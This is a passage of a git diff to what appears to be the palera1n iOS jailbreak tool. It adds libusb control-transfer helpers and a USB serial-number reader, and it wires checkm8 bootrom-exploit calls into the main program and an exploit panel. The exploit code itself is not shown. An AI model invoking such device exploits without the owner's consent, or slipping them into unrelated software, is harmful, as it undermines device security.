ret; +} + +static struct { + uint8_t b_len, b_descriptor_type; + uint16_t bcd_usb; + uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; + uint16_t id_vendor, id_product, bcd_device; + uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; +} usb_device_descriptor; + +char *get_usb_device_serial_number(usb_handle_t *handle) { + transfer_ret_t transfer_ret; + uint8_t buf[UINT8_MAX]; + char *str = NULL; + size_t i, sz; + if (send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &usb_device_descriptor, sizeof(usb_device_descriptor), &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(usb_device_descriptor) + && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | usb_device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) + && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) { + for (i = 0; i < sz; ++i) { + str[i] = (char)buf[2 * (i + 1)]; + } + str[sz - 1] = '\0'; + } + return str; +} + diff --git a/src/m8/usb-libusb.h b/src/m8/usb-libusb.h new file mode 100644 index 0000000..0fbff40 --- /dev/null +++ b/src/m8/usb-libusb.h @@ -0,0 +1,58 @@ +#ifndef __APPLE__ + +#ifndef USBLIBUSB_H +#define USBLIBUSB_H + +#define USB_TIMEOUT 10 + +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + uint16_t vid, pid; + struct libusb_device_handle *device; + int usb_interface; + struct libusb_context *context; +} usb_handle_t; + +enum usb_transfer_ret { + USB_TRANSFER_OK = 0, + USB_TRANSFER_ERROR = 1, + USB_TRANSFER_STALL = 2, +}; + +typedef struct { + enum usb_transfer_ret ret; + uint32_t sz; +} transfer_ret_t; + +void sleep_ms(unsigned ms); + +bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet); +bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet); +bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet); +bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet); +bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet); +bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length); + +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); +bool wait_usb_handle(usb_handle_t *handle); +bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout); +void reset_usb_handle(usb_handle_t *handle); +void close_usb_handle(usb_handle_t *handle); + +char *get_usb_device_serial_number(usb_handle_t *handle); + +#ifdef __cplusplus +} +#endif + +#endif // USBLIBUSB_H + +#endif // __APPLE__ diff --git a/src/main.cpp b/src/main.cpp index d2a667a..cb1cfa9 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -9,6 +9,8 @@ # include #endif +#include "m8/run.hpp" + #include "utils/constants.h" #include "utils/log.h" #include "utils/paleinfo.h" @@ -18,14 +20,15 @@ void print_credits() { "#\n" "# Palera1n beta " PALERAIN_VERSION "\n" "#\n" - "# (c) 2024 Palera1n\n" + "# (c) 2026 Palera1n\n" "#\n" "# ======== Made by =======\n" "# Made by: asdfugil, kok3shidoll, claration, mineek, staturnz\n" "# ======== Thanks to =======\n" "# Thanks to: llsc12, Nebula, Lrdsnow, nikias (libimobiledevice),\n" - "# checkra1n team (Siguza, axi0mx, littlelailo et al.),\n" - "# Procursus Team (Hayden Seay, Cameron Katri, Keto et.al)\n" + "# Checkra1n (Siguza, axi0mx, littlelailo et al.),\n" + "# Procursus (Hayden Seay, Cameron Katri, Keto et.al),\n" + "# kirb, ehilwyma, opa334\n" "# ==========================\n\n" ); } @@ -165,7 +168,13 @@ int main(int argc, char* argv[], char* envp[]) { wxTheApp->OnExit(); wxEntryCleanup(); return 0; + } else { + return checkm8(MODE_PONGOOS); } + #else + + return checkm8(MODE_PONGOOS); + #endif return 0; diff --git a/src/utils/log.h b/src/utils/log.h index 5f03493..38d852d 100644 --- a/src/utils/log.h +++ b/src/utils/log.h @@ -1,6 +1,8 @@ #ifndef LOG_H #define LOG_H +#include + #define RESET_COLOR "\033[0m" #define RED_COLOR "\033[31m" #define GREEN_COLOR "\033[32m" diff --git a/src/wx/ExploitPanel.cpp b/src/wx/ExploitPanel.cpp index 62a5449..c9f0227 100644 --- a/src/wx/ExploitPanel.cpp +++ b/src/wx/ExploitPanel.cpp @@ -10,6 +10,7 @@ #include "DevicePanel.hpp" #include "../state.hpp" #include "../utils/log.h" +#include "../m8/run.hpp" ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent) @@ -65,7 +66,7 @@ void ExploitPanel::StartExploit() if (!state.connected || state.mode != DeviceMode::DFU) return; - LOG("Starting exploit on worker thread..."); + checkm8(MODE_PONGOOS); }).detach(); }